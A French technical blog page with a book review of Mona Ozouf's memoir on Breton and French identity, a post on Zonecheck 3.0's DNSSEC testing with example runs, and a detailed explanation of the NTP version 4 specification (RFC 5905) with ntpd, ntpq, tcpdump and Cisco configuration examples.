Il y a déjà eu d'innombrables livres, articles dans la presse papier et sur les blogs, bavardages à la radio, pontifications à la télé, sur l'identité nationale. En sait-on plus sur ce concept flou, désormais ? Pas sûr. Mona Ozouf l'aborde par le biais de l'autobiographie. Elle décrit son enfance en Bretagne dans les années 30, et en profite pour se demander ce que signifie « être française ».

C'est que son identité n'est pas évidente : la petite Mona Sohier est fille d'un militant breton, à la fois partisan déterminé de la liberté de la Bretagne, mais aussi instituteur à une époque où l'école républicaine et laïque participait activement à la destruction des langues régionales. Ce père qu'elle a peu connu, quelles étaient exactement ses opinions politiques ? À part sur la langue bretonne, elles ont varié, épousant la difficulté de se définir lorsque on est breton et progressiste, coincé entre la France dominatrice et nivelleuse, et la réaction bretonne et catholique. Mort trop tôt, Yann Sohier n'a pas eu l'occasion de se déterminer par rapport à l'occupant nazi, certains militants bretons choisissant la collaboration, d'autres la résistance. Les pages les plus intéressantes sont consacrées à des questions politiques comme « Qu'aurait fait mon père en 1940 ? »

Mona Ozouf a donc été surtout élevée par sa mère, qui, elle, était bretonnophone de naissance (son père, né en pays gallo, avait appris le breton plus tard) et qui était également institutrice. Un rève d'ascenseur social puisque les arrière-grands-parents étaient simples paysans, les grands parents (tout) petits commerçants, les parents instituteurs (Anne le Den terminera directrice d'école) et Mona Ozouf sera, elle, chercheuse au CNRS. Mais cette ascension sociale ne se fera pas dans la joie et bien des choses devront être abandonnées en cours de route. Était-ce nécessaire ?

C'est là qu'on revient à l'identité nationale. En caricaturant un peu (ce que l'auteur fait rarement mais, ici, c'est mon blog), on peut dire qu'il y a deux façons de définir « la France ». L'une est que c'est plus ou moins un hasard, la réunion de peuples divers qui n'étaient pas forcément volontaires. L'autre est que c'est un choix délibéré effectué par ses habitants, comme si « la France » était un parti politique, dont tous les membres partageraient les mêmes choix (sans qu'on dise jamais lesquels : l'amour du football ?). Cette seconde vision sert surtout à intimer aux immigrés l'ordre de s'« intégrer », là encore sans qu'on sache trop bien ce que cela peut être, à part qu'on est traité de « communautariste » dès qu'on exprime son scepticisme.

Mona Ozouf considère qu'il ne faut pas chercher trop d'idéologie dans la construction d'un pays : celle-ci s'est faite en bricolant, en agrégeant des gens divers et qui le sont parfois restés, et que chercher un sens, un but, à un pays, revient souvent à enfermer ses habitants dans l'idéologie dominante.

Ah, et il n'y a pas que la politique, c'est aussi un très beau livre sur l'enfance, sans nostalgie (à cette époque, être enfant n'était pas toujours drôle, on ne se sentait pas obligé de leur fournir des distractions et des activités...) mais sans rancœur.


L'article seul

Nouvelle version de Zonecheck, la 3.0, avec tests DNSSEC

Première rédaction de cet article le 22 juin 2010


Le 22 juin, une nouvelle version de Zonecheck a été publiée, apportant notamment les tests DNSSEC.

Écrit en Ruby, Zonecheck est un logiciel de test de la configuration d'une zone DNS, pour voir si elle est correctement installée sur les serveurs de noms. Cette vérification nécessiterait à la main des dizaines d'appels à la commande dig, pour s'assurer que tout est correct. Zonecheck automatise le tout. D'une manière générale, tester doit être fait avec un logiciel car c'est une opération longue et fastidieuse, qu'un humain a peu de chances de mener jusqu'au bout correctement.

Ainsi, je peux voir si mes serveurs de noms sont tous bons :


% zonecheck bortzmeyer.org
ZONE  : bortzmeyer.org.
NS <= : a.dns.gandi.net. [217.70.179.40]
NS    : c.dns.gandi.net. [217.70.182.20]
NS    : b.dns.gandi.net. [217.70.184.40]

       _____________________
     ,---------------------.|
~~~~ |    avertissement    || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     `---------------------'
a> Les serveurs de nom font tous partie du même AS
 | Conseil: ZoneCheck
 |   Afin d'éviter de perdre la connectivité avec les serveurs DNS
 | autoritaires en cas de problèmes de routage dans le Système Autonome,
 | il est conseillé d'héberger les serveurs sur différents AS.
 `----- -- -- - -  -
 :   Tous les serveurs de noms font partie du même Système Autonome (AS
 : numéro 29169), essayez d'en héberger certains sur un autre.
 `..... .. .. . .  .
=> générique

...
==> SUCCÈS (mais 5 avertissement(s))

Et, à quelques avertissements près, c'est bon.

L'installation de Zonecheck 3 nécessite la bibliothèque Ruby DNSruby qui ne semble pas exister en paquetage pour ma Debian, je l'ai donc installé à la main, avec RubyGems :

% sudo aptitude install rubygems # Si nécessaire
% sudo gem install dnsruby

(DNSruby remplace l'ancienne bibliothèque Nresolv, utilisée par Zonecheck 2, est permet notamment les tests DNSSEC.)

Principale nouveauté de la version 3 : DNSSEC. Par défaut, Zonecheck 3 détecte tout seul si une zone est signée ou pas, mais les tests DNSSEC, dans ce cas, ne mènent qu'à des avertissements. Si on veut être sûr que DNSSEC est activé sur la zone, il faut utiliser l'option -s (ou --securedelegation) :

% zonecheck iis.se
...
==> SUCCESS (but 7 warning(s))

Aucun message mais les tests DNSSEC ont été faits (simplement, Zonecheck n'avait rien à signaler). Si on veut imposer qu'ils réussissent :

% zonecheck -s "" iis.se
...
==> SUCCESS (but 7 warning(s))

Et sur une zone DNSSEC qui a des problèmes, cela donne quoi ? Comme beaucoup de domaines en .GOV, uspto.gov est configuré avec les pieds :

% zonecheck -s "" uspto.gov            
ZONE  : uspto.gov
NS <= : dns1.uspto.gov [151.207.240.50]
NS    : dns2.uspto.gov [151.207.246.51]
...
       _____________
     ,-------------.|
~~~~ |    fatal    || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     `-------------'
f> [TEST supports EDNS]: DNS Timeout
=> dns2.uspto.gov/151.207.246.51

==> FAILURE (and 3 warning(s))

DNSSEC impose en effet EDNS (RFC 2671) et ce serveur ne répond pas. Que se passe t-il ? DNS timeout, nous dit Zonecheck. Vérifions avec dig :


% dig +dnssec @dns2.uspto.gov ANY uspto.gov       

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @dns1.uspto.gov ANY uspto.gov
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

Le même serveur répond si on lui demande dig +dnssec @dns1.uspto.gov DNSKEY uspto.gov car la réponse, dans ce cas, est plus petite (moins de 1200 octets). Il y a donc clairement un problème de MTU à l'office des brevets états-uniens, qui plante tout client qui essaie de faire du DNSSEC avec eux (le problème leur a été signalé il y a des semaines mais la bureaucratie locale ne semble pas pressée de le résoudre).

Zonecheck permet aussi d'indiquer la clé qu'on veut voir dans la zone (telle qu'elle est annoncée par le parent ou bien via une page Web sécurisée). Par exemple, si je sais que l'enregistrement DS (cf. RFC 4034, section 5) de frobbit.se est censé être 3E91111144999944301CD5E4E33692352C0BD024 :

%  zonecheck -s "DS:3E91111144999944301CD5E4E33692352C0BD024:SHA-1" frobbit.se                                                                                   
ZONE  : frobbit.se
NS <= : ns1.frobbit.se [208.79.80.118]
NS    : ns.cafax.se [192.71.228.17]
NS    : ns2.frobbit.se [85.30.129.39, 2A02:80:3FFE::39]
...
w> The length of the key should be higher for this algorithm
 :   the key length is 1024 bits for the algorithm : RSA SHA 1
 `..... .. .. . .  .
=> ns2.frobbit.se/85.30.129.39
=> ns.cafax.se/192.71.228.17
=> ns1.frobbit.se/208.79.80.118
=> ns2.frobbit.se/2A02:80:3FFE::39

==> SUCCESS (but 13 warning(s))

Et, à part que la clé est un peu courte, le domaine est bien signé comme indiqué chez son parent.

On peut automatiser cette tâche de trouver le DS, chez le registre DLV (RFC 5074) de l'ISC par exemple. Ce petit script shell le fait :

dnssechashalgo=1
dnssechashalgoname=SHA-1

zonecheck-dlv() {
    if [ -z "$1" ]; then	
	echo "Usage: $0 domain-name"
	return 1
    fi
    domain=$1
    sha1ds=$(dig +short DLV $domain.dlv.isc.org | awk "/ (3|5|7) +$dnssechashalgo / {print \$4}" | tail -n 1)
    if [ -z "$sha1ds" ]; then
	echo "$domain does not seem to be in dlv.isc.org"
	return 1
    fi
    zonecheck -s "DS:$sha1ds:$dnssechashalgoname" $domain
}

Ce script peut être utilisé ainsi :

%  zonecheck-dlv   secure64.com  
ZONE  : secure64.com
NS <= : ns1.secure64.com [64.92.220.221]
NS    : ns2.secure64.com [216.17.193.194]
...
==> SUCCESS (but 4 warning(s))

D'autres zones ne sont pas aussi correctes, même sans DNSSEC. Voici un exemple des messages d'erreur :


% zonecheck zataz.com       
ZONE  : zataz.com
NS <= : ns1.eurodns.com [80.92.65.2]
NS    : ns2.eurodns.com [80.92.67.140]

       _____________________
     ,---------------------.|
~~~~ |    avertissement    || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     `---------------------'
a> Les serveurs de nom font tous partie du même AS
 | Conseil: ZoneCheck
 |   Afin d'éviter de perdre la connectivité avec les serveurs DNS
 | autoritaires en cas de problèmes de routage dans le Système Autonome,
 | il est conseillé d'héberger les serveurs sur différents AS.
 `----- -- -- - -  -
 :   Tous les serveurs de noms font partie du même Système Autonome (AS
 : numéro 24611), essayez d'en héberger certains sur un autre.
 `..... .. .. . .  .
=> générique

       _____________
     ,-------------.|
~~~~ |    fatal    || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     `-------------'
f> L'adresse IP de l'enregistrement MX ne peut pas être résolue
 :   Le MX mailing.zataz.com représentant le nom du serveur ne possède
 : pas d'adresse IP.
 `..... .. .. . .  .
=> ns1.eurodns.com/80.92.65.2

==> ÉCHEC (et 1 avertissement(s))

Et, en effet, le serveur de courrier désigné n'existe pas :


% dig @ns1.eurodns.com MX zataz.com   
...
;; ANSWER SECTION:
zataz.com.              3600    IN      MX      10 mail.zataz.com.
zataz.com.              3600    IN      MX      20 mailing.zataz.com.
...

% dig @ns1.eurodns.com A mailing.zataz.com 
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49758

À noter que Zonecheck sépare la politique (quels tests on fait et un résultat positif est-il obligatoire) du moteur de tests qui les applique. L'administrateur système peut éditer le profil des tests et retirer (ou rendre facultatif) certains tests, à volonté. Par exemple, par défaut, Zonecheck teste que les adresses IP des serveurs de noms ne sont pas des bogons mais, s'ils le sont, cela ne produit qu'un simple avertissement :


      <check name="ip_bogon"   severity="w" category="ip"/>

Si on trouve ce test trop laxiste, il suffit de changer severity de 'w' (warning) à 'f' (fatal). Si, à l'inverse, on trouve ce test inutile ou tout simplement trop coûteux en ressources, on peut le désactiver complètement en retirant l'élément <check> du profil. C'est une caractéristique unique parmi les logiciels de tests DNS.

Zonecheck est un logiciel libre sous licence GPL. Merci à Fabien Chabanne pour avoir pris en charge cette nouvelle version, et à Stéphane d'Alu pour le programme original.


L'article seul

RFC 5905: Network Time Protocol Version 4 Protocol And Algorithms Specification

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : J. Burbank, W. Kasch (JHU/APL), J. Martin (ISC), D. Mills (U. Delaware)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ntp
Première rédaction de cet article le 22 juin 2010


Dans tout système technique complexe, comme l'Internet, on a besoin d'horloges correctes. À tout moment, on lit l'heure et on en tient compte. Par exemple, l'ingénieur système qui lit les journaux d'un serveur a besoin d'être sûr de l'heure qu'ils indiquent. De même, le chercheur qui mesure le temps de propogation d'un paquet IP entre deux machines en soustrayant le temps de départ de celui d'arrivée (cf. RFC 7679) doit être sûr des horloges des deux machines, sinon la mesure sera fausse. Pour synchroniser des horloges, on pourrait munir chaque ordinateur connecté à Internet d'un récepteur GPS ou équivalent (le système Galileo, absent du RFC 1305 fait son entrée dans notre RFC 5905). Mais de tels récepteurs sont relativement chers (surtout pour les engins les moins puissants comme les PC bas de gamme ou les téléphones portables) et ne marchent pas dans toutes les circonstances (le GPS ne fonctionne bien qu'en plein air). Le mécanisme privilégié sur l'Internet est donc que seules certaines machines sont connectées à une horloge physique correcte et que les autres d'ajustent sur celles-ci, par le biais du protocole NTP, objet de ce RFC.

A priori, synchroniser une machine C sur une autre, nommée S, est simple : C demande l'heure à S et S lui donne. C'est ainsi que fonctionnait le protocole Time du RFC 868. Mais ce mécanisme a un gros défaut : il ne tient pas compte du temps de propagation dans le réseau. Lorsque C reçoit la réponse, elle n'est déjà plus correcte... La résolution d'horloge qu'on peut obtenir est donc limitée par ce temps de propagation. En outre, les algorithmes tels que celui du RFC 868 ne permettent pas de tirer profit de multiples serveurs de temps puisqu'ils ne fournissent aucun moyen de décider quel est le « meilleur » serveur.

Pour expliquer la synchronisation d'horloge, tout un vocabulaire spécifique est nécessaire. Il n'y a pas de glossaire dans le RFC mais des mots comme delay et offset sont définis en section 4 : pour résumer, une horloge peut avoir un écart (offset) avec le « vrai » temps, UTC (ou bien avec une autre horloge, si on s'intéresse juste au fait qu'elles soient synchronisées, ce qui n'est pas le cas de NTP). Si cet écart est inférieur à une certaine valeur, on dit que l'horloge est correcte (accurate). Et l'horloge peut avoir un décalage (skew), elle peut avancer plus ou moins vite qu'une autre (ce qui entrainera l'apparition ou l'aggravation d'un écart). Pire, la dérive peut être variable, auquel cas on mesure la dérivée seconde du décalage sous le nom de dérive (drift, mais NTP ignore ce facteur). Enfin, l'horloge a une certaine résolution (precision), la plus petite unité de temps qu'elle peut mesurer. Des problèmes de mesure de temps analogues sont présents dans bien d'autres RFC notamment le RFC 2330 mais aussi les RFC 4656 ou RFC 5481. Pour obtenir le temps d'un autre serveur, alors que le délai de propagation est non-nul, NTP utilise des estampilles temporelles, des valeurs de la mesure de l'horloge, mises dans le paquet. Après plusieurs paquets échangés, chaque serveur NTP connait le délai de propagation avec un autre serveur (ainsi que, au bout d'un temps un peu plus long, la gigue, la variation de ce délai, suite aux hoquets du réseau) et peut donc déduire ce délai des temps mesurés par son pair. Sur une machine Unix, voyons ce que cela donne avec la commande ntpq -c peers :

% ntpq -c peers                                   
     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
+relay1.nic.fr   192.134.4.11     3 u  998 1024  377    0.297   -1.554   0.163
 gw.prod-ext.pri .INIT.          16 u    - 1024    0    0.000    0.000   0.000
+obelix.gegeweb. 145.238.203.10   3 u  695 1024  377    5.226    0.586   1.768
-ntp.univ-poitie 224.22.30.230    3 u  498 1024  377    6.885   -4.565   0.267
*ns1.azuria.net  193.67.79.202    2 u   56 1024  377    2.739   -1.411   0.305
-rps.samk.be     193.190.198.10   3 u  984 1024  377    5.293    5.930   0.317

Lorsque plusieurs serveurs NTP sont accessibles, NTP sélectionne le meilleur (en tenant compte de divers paramètres comme justement la gigue). Il n'y a pas de vote entre serveurs, NTP est une dictature où le meilleur serveur a toujours raison. NTP a également un mécanisme anti-byzantin (sections 5 et 11.2.1), qui permet d'écarter les serveurs clairement en tort (les falsetickers) et de ne retenir que ceux dont les données sont correctes (les truechimers).

La première version de NTP était dans le RFC 958. La version 2 était décrite dans le RFC 1119 et la version 3 dans le RFC 1305. Les différences (aucune n'est essentielle) entre les deux versions sont décrites dans la section 1. La version 4 a surtout introduit :

  • une modification de l'en-tête pour faciliter son utilisation avec IPv6,
  • de meilleurs algorithmes de correction (avec de meilleurs types de données), permettant à NTP d'atteindre une résolution de quelques dizaines de microsecondes, sur un réseau local,
  • un mécanisme de découverte des serveurs NTP du réseau,
  • un mécanisme d'extension,
  • un nouveau mécanisme d'authentification, autokey, normalisé dans le RFC 5906,
  • un nouveau format pour les paquets de réponse en cas d'erreur, le kiss-o'-death (section 7.4),
  • et quelques corrections de bogues.

Ces changements n'affectent pas l'interopérabilité et un client NTP v3 peut parler à un serveur v4 et réciproquement.

NTP n'était pas le premier protocole de synchronisation d'horloge, loin de là. Il a été précédé par daytime (RFC 867) ou time (RFC 868), ainsi que par des options d'ICMP comme celle du RFC 781. Il y a également eu des mises en œuvre non normalisées comme le démon timed sur Berkeley Unix. NTP a aussi été inspiré par le protocole DTS, partie du système DCE mais, contrairement à DTS, il n'impose pas que toutes les machines participantes dépendent du même administrateur. Enfin, il y a eu d'innombrables projets de recherche sur des thèmes bien plus ambitieux comme la détermination de la justesse ou de la fausseté d'une horloge, problèmes que NTP n'essaie pas de traiter.

Le problème de la synchronisation d'horloges est très complexe et plein de détails difficiles. Le RFC 5905 est donc un des plus gros RFC qui soit (plus de cent pages et, pourtant, les annexes passionnantes que comportait le RFC 1305 ont presque toutes été retirées). En outre, l'abondance des formules mathématiques, rares dans les RFC mais nécessaires ici à cause des calculs d'erreur, fait que notre RFC n'est pas très lisible en texte brut. Le lecteur a sans doute intérêt à lire plutôt l'article de David Mills (l'auteur du RFC), Network Time Protocol Version 4 Reference and Implementation Guide ou son livre, Computer Network Time Synchronization (la seconde édition est prévue pour septembre 2010). Autrement, la page Web dudit auteur, propose plein d'informations sur NTP. À noter que le prédécesseur de notre RFC, le RFC 1305 contenait davantage d'informations de nature historique et reste donc une lecture intéressante. Enfin, une lecture classique mais toujours recommandée est la note Hewlett-Packard « The Science of Timekeeping ».

Quel est le modèle de NTP ? Ce protocole considère que certaines machines ont l'information correcte (par exemple parce qu'elles l'ont obtenu d'une horloge sûre) et que le seul problème est de transmettre cette information aux autres machines. NTP ne s'essaie pas à déterminer si les serveurs ont raison ou tort, il leur fait confiance, il n'existe pas de système de vote, NTP n'est pas une démocratie. Certaines machines ont raison et les autres s'alignent.

Communiquant avec un serveur, un client NTP détermine l'écart (clock offset) avec ce serveur, le RTT (roundtrip delay) et la dispersion, qui est l'écart maximal avec l'autre horloge.

Pour cette communication, il existe plusieurs mécanismes (section 2), le plus courant étant un mécanisme client/serveur où le client NTP demande au serveur le temps. Celui-ci répond et l'information contenue dans le paquet permettra au client de déterminer les valeurs ci-dessus, notamment l'écart. En fait, NTP est plus compliqué que cela car il existe plusieurs niveaux de serveurs et chaque client utilise plusieurs serveurs, pour se prémunir contre une panne. La proximité d'un serveur avec une « vraie » horloge est mesurée par un nombre, la strate (section 3), qui vaut 1 lorsque le serveur est directement connecté à l'horloge et N+1 lorsque le serveur est coordonné avec un serveur de strate N.

Le serveur calcule ensuite (par une variante de l'algorithme de Bellman-Ford), le chemin le plus court (en utilisant comme métrique le nombre d'étapes et la strate), et c'est par celui-ci que sera transmise la valeur correcte de l'horloge (je le répète, NTP ne fait pas de pondération entre les serveurs possibles).

Les sections 6 et 7 décrivent le format des paquets. La plus importante information transportée par NTP est évidemment le temps. NTP utilise trois formats pour le temps (cf. figure 3), le plus courant étant un doublet de 64 bits. La première partie du doublet est un nombre sur 32 bits qui indique le nombre entier de secondes depuis le 1er janvier 1900. La seconde est la partie fractionnaire de cette même valeur. Cela assure donc une précision d'environ 200 picosecondes. Comme tout le fonctionnement de NTP dépend de la précision de ces estampilles temporelles, le RFC recommande que leur écriture dans les paquets soit, autant que possible, fait dans les couches les plus basses, par exemple juste au-dessus du pilote de la carte réseau.

32 bits n'est pas énorme et la valeur maximale sera atteinte en 2036. Les programmes devront donc s'adapter et faire preuve d'intelligence en considérant qu'un nombre de secondes très faible signifie « un peu après 2036 » et pas « un peu après 1900 ». (Ou alors, il faudra passer au nouveau format sur 128 bits, apparu avec NTP v4, où on a 584 milliards d'années de marge.) Plus drôle, comme la valeur zéro est spéciale (elle signifie que le temps n'est pas connu), pendant 200 picosecondes, au moment de la transition, NTP ne marchera plus.

Pour son bon fonctionnement, NTP dépend de certaines variables, décrites en section 7.3. Il y a par exemple l'adresse IP du pair mais aussi :

  • leap indicator qui indique si une seconde intercalaire est imminente,
  • la strate (1 si le serveur a une horloge, de 2 à 255 autrement),
  • la précision de son horloge,
  • un identifiant sur quatre octets, typiquement une chaîne de caractères pour un serveur de strate un, par exemple GPS pour le GPS, ATOM pour une horloge atomique ou LORC pour le bon vieux LORAN,
  • temps d'aller-retour lors de la communication avec le pair,
  • etc.

L'identifiant du type d'horloge est indiqué dans la sortie de ntpq -c peers si le pair est de strate 1, ou bien par la commande ntptrace sous le nom de refid. Par exemple, ici, clock.xmission.com est synchronisé au GPS :

% ntptrace 
localhost: stratum 3, offset 0.000175, synch distance 0.072555
tock.slicehost.net: stratum 2, offset 0.000658, synch distance 0.057252
clock.xmission.com: stratum 1, offset 0.000010, synch distance 0.000274, refid 'GPS'

NTP peut fonctionner selon plusieurs modes, en pair-à-pair (« symmetric »), en client ou en serveur mais aussi en mode diffusion (un serveur qui envoie ses données que quelqu'un écoute ou pas). Ainsi, avec le programme ntpd (voir http://support.ntp.org/) d'Unix, si on configure dans /etc/ntp.conf :

broadcast 224.0.0.1

(où l'adresse est celle de diffusion) ntpd va diffuser ses informations à tout le réseau local. Si on met :

broadcastclient

il écoutera passivement les annonces des serveurs qui diffusent. Si enfin, on écrit :

server ntp1.example.net
server ntp2.example.net

il cherchera activement à se connecter aux serveurs ntp1.example.net et ntp2.example.net pour obtenir d'eux des informations sur l'heure qu'il est. Les deux serveurs établiront alors une association entre eux.

NTP peut se défendre contre un pair qui enverrait des informations aberrantes mais il ne contient pas de système de vote qui pourrait protéger contre des pairs malveillants. Même avec un tel système, si tous les pairs participaient d'un commun accord à l'attaque, NTP serait alors trompé. Il faut donc s'assurer que les pairs sont bien ceux qu'on croit. Il existe un mécanisme d'authentification fondée sur une MAC, mais NTPv4 permet aussi l'ajout de mécanismes supplémentaires comme celui du RFC 5906. En pratique, cette sécurité est peu pratiquée ; bien que fausser l'horloge d'une machine puisse avoir de sérieuses conséquences pour la sécurité (journaux avec une heure fausse, par exemple), les attaques sur NTP semblent rares. La principale protection reste le filtrage au niveau du pare-feu.

La section 10 décrit les algorithmes de correction qui permettent de réparer dans une certaine mesure les erreurs des horloges, ou bien celles introduites par la propagation dans le réseau. NTP peut aussi bien filtrer les mesures d'une horloge donnée (en ne gardant que les meilleures) que garder les bonnes horloges parmi l'ensemble des pairs accessibles. C'est une des parties les plus mathématiques du RFC.

Les paquets NTP sont transportés sur UDP, port 123. Chaque message indique la version de NTP, le mode de l'émetteur (par exemple client, serveur ou autre), les différentes estampilles temporelles (heure de réception du paquet précédent Receive Timestamp, heure d'émission de celui-ci Transmit Timestamp, etc), précision de l'horloge locale, etc. Les estampilles temporelles sont indiquées dans le format à 64 bits décrit plus haut. Du fait que chaque paquet contienne toutes les estampilles nécessaires, les paquets sont auto-suffisants. Il n'est pas nécessaire qu'ils arrivent dans l'ordre, ni qu'ils soient tous délivrés (d'où le choix d'UDP comme protocole de transport).

Pour observer NTP en action, on peut utiliser tcpdump :

# tcpdump -vvv udp and port 123
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
17:11:46.950459 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 76) munzer.bortzmeyer.org.ntp > tock.slicehost.net.ntp: [udp sum ok] NTPv4, length 48
        Client, Leap indicator:  (0), Stratum 3, poll 10s, precision -20
        Root Delay: 0.037567, Root dispersion: 0.082321, Reference-ID: tock.slicehost.net
          Reference Timestamp:  3448017458.952901899 (2009/04/06 16:37:38)
          Originator Timestamp: 3448018483.951783001 (2009/04/06 16:54:43)
          Receive Timestamp:    3448018483.951863646 (2009/04/06 16:54:43)
          Transmit Timestamp:   3448019506.950407564 (2009/04/06 17:11:46)
            Originator - Receive Timestamp:  +0.000080633
            Originator - Transmit Timestamp: +1022.998624563
17:11:46.950946 IP (tos 0x10, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 76) tock.slicehost.net.ntp > munzer.bortzmeyer.org.ntp: [udp sum ok] NTPv4, length 48
        Server, Leap indicator:  (0), Stratum 2, poll 10s, precision -20
        Root Delay: 0.036941, Root dispersion: 0.012893, Reference-ID: clock.xmission.com
          Reference Timestamp:  3448019415.234667003 (2009/04/06 17:10:15)
          Originator Timestamp: 3448019506.950407564 (2009/04/06 17:11:46)
          Receive Timestamp:    3448019506.951188027 (2009/04/06 17:11:46)
          Transmit Timestamp:   3448019506.951214015 (2009/04/06 17:11:46)
            Originator - Receive Timestamp:  +0.000780425
            Originator - Transmit Timestamp: +0.000806425

On voit ici que munzer.bortzmeyer.org, machine chez Slicehost a contacté le serveur de temps, tock.slicehost.net (le second serveur NTP de cet hébergeur se nomme tick.slicehost.net) en indiquant que le paquet était émis (Transmit Timestamp à 3448019506.950407564 (soit le six avril 2009 vers 17:11:46). tock.slicehost.net répond, renvoie cette estampille dans le champ Originator Timestamp, indique qu'il l'a reçue à 3448019506.951188027, soit 780 microsecondes plus tard et qu'il a répondu à 3448019506.951214015, 26 microsecondes après la réception. munzer.bortzmeyer.org, en regardant à quelle heure il a reçu le paquet, peut en déduire le délai d'acheminement et le décalage des deux horloges. Si le serveur venait de démarrer, toutes les estampilles sont à zéro, sauf celle de transmission :

22:39:26.203121 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 76) munzer.bortzmeyer.org.ntp > tick.slicehost.net.ntp: [udp sum ok] NTPv4, length 48
        Client, Leap indicator: clock unsynchronized (192), Stratum 0, poll 6s, precision -20
        Root Delay: 0.000000, Root dispersion: 0.000000, Reference-ID: (unspec)
          Reference Timestamp:  0.000000000
          Originator Timestamp: 0.000000000
          Receive Timestamp:    0.000000000
          Transmit Timestamp:   3448384766.203066617 (2009/04/10 22:39:26)
            Originator - Receive Timestamp:  0.000000000
            Originator - Transmit Timestamp: 3448384766.203066617 (2009/04/10 22:39:26)

L'annexe A plaira aux programmeurs car elle est la seule partie qui contient du code source, en C, mettant en œuvre certains des algorithmes décrits dans le RFC.

La mise en œuvre la plus courante de NTP, sur Unix, est celle du serveur ntpd, en http://www.ntp.org/, qui ne semble pas encore avoir été mise à jour pour notre RFC 5905. Il se configure dans le fichier /etc/ntp.conf et la documentation complète figure en ligne sur http://doc.ntp.org/. La commande ntpdate permet une mise à jour sommaire, sans faire tourner de serveur :

# ntpdate pool.ntp.org
 23 Feb 01:34:10 ntpdate[3335]: step time server 192.83.249.31 offset 2.155783 sec 

Mais pour une meilleure précision, il faut un serveur tournant en permanence (autrement, il existe une version simplifiée de NTP, SNTP, décrite originellement dans le RFC 4330 et désormais dans la section 14 de notre RFC, ce protocole simplifié se distingue également par le fait que le client n'a pas besoin de gérer plusieurs serveurs). Voici par exemple une station de travail ordinaire, synchronisée au serveur NTP de son réseau, ntp.example.org :

server ntp.example.org
server 127.127.1.0
fudge 127.127.1.0 stratum 13

Les deux dernières lignes sont là pour dire à ntpd que l'horloge locale est raisonnablement stable et qu'on peut la considérer comme de strate 13. Comme on ne veut pas forcément que tout l'Internet aille ensuite noyer cette machine sous le trafic NTP et, pire, changer son horloge, on restreint souvent les possibilités de NTP à certaines actions. Par exemple :

# Exchange time with everybody, but don't allow configuration.
restrict default kod notrap nomodify nopeer noquery
# Local users may interrogate the ntp server more closely.
restrict 127.0.0.1 nomodify

Une fois cette machine synchronisée, les commandes ntpq et ntptrace permettront de regarder l'état de NTP :

% ntptrace 
localhost: stratum 3, offset 0.000116, synch distance 0.015000
fuzzer.example.org: stratum 2, offset 0.000149, synch distance 0.009868
192.0.2.77: timed out, nothing received
***Request timed out

Ici, le serveur de strate 1, 192.0.2.77 n'accepte pas des interrogation directes de la part des stations, il ne répond donc pas à ntptrace. On peut avoir plus de détails sur les pairs avec ntpq, par exemple :

ntpq> peers
     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
*fuzzer.ex       192.0.2.176      2 u   50   64  377    0.304    0.107   0.064
 LOCAL(0)        .LOCL.          13 l    1   64  377    0.000    0.000   0.001

ntpq> clocklist
assID=0 status=0000 clk_okay, last_clk_okay,
device="Undisciplined local clock", timecode=, poll=33834, noreply=0,
badformat=0, baddata=0, fudgetime1=0.000, stratum=13, refid=76.79.67.76,
flags=0

qui permet de voir le délai de la communication avec le serveur de strate 2 (ce délai est logiquement de zéro avec l'horloge locale, de strate 13). On peut aussi voir qu'il y a eu association :

ntpq> associations

ind assID status  conf reach auth condition  last_event cnt
===========================================================
  1 16199  9614   yes   yes  none  sys.peer   reachable  1
  2 16200  9014   yes   yes  none    reject   reachable  1

ntpq> pstatus 16199
assID=16199 status=9614 reach, conf, sel_sys.peer, 1 event, event_reach,
srcadr=fuzzer.example.org, srcport=123, dstadr=192.0.2.1, dstport=123,
leap=00, stratum=2, precision=-20, rootdelay=1.999,
rootdispersion=7.858, refid=192.0.2.176, reach=377, unreach=0,
hmode=3, pmode=4, hpoll=6, ppoll=6, flash=00 ok, keyid=0, ttl=0,
offset=0.116, delay=0.305, dispersion=3.077, jitter=0.015,
reftime=cd848978.4d74dea3  Mon, Apr  6 2009 16:00:24.302,
org=cd848a03.2ce4faea  Mon, Apr  6 2009 16:02:43.175,
rec=cd848a03.2ce6b9ee  Mon, Apr  6 2009 16:02:43.175,
xmt=cd848a03.2cd129e9  Mon, Apr  6 2009 16:02:43.175,
filtdelay=     0.31    0.32    0.32    0.32    0.32    0.31    0.37    0.34,
filtoffset=    0.13    0.13    0.13    0.13    0.13    0.12    0.15    0.12,
filtdisp=      0.00    0.99    1.94    2.93    3.90    4.88    5.85    6.80

Ici, il n'y avait qu'une seule vraie association, de numéro 16199, avec le serveur NTP de strate 2.

Et sur un routeur Cisco ? Configurer NTP en client est simplement :

Router#config terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#ntp server 129.237.32.2
Router(config)#^Z

Le configurer en serveur pour d'autres machines, ici en strate 10 par défaut :

Router#config terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#ntp master 10
Router(config)#^Z

On peut alors vérifier l'état de NTP :

Router#show ntp status
Clock is synchronized, stratum 3, reference is 128.249.2.2
nominal freq is 250.0000 Hz, actual freq is 249.9961 Hz, precision is 2**16
reference time is BF454660.7CCA9683 (22:37:36.487 EDT Sat Sep 8 2001)
clock offset is 4.3323 msec, root delay is 136.28 msec
root dispersion is 37.69 msec, peer dispersion is 1.14 msec

Router#show ntp associations
 
      address         ref clock     st  when  poll reach  delay  offset    disp
  *~128.249.2.2      192.5.41.40     2    4    64   377    76.9    5.49     0.4
  -~130.218.100.5    198.72.72.10    3   33   128   377     7.1   13.13     0.6
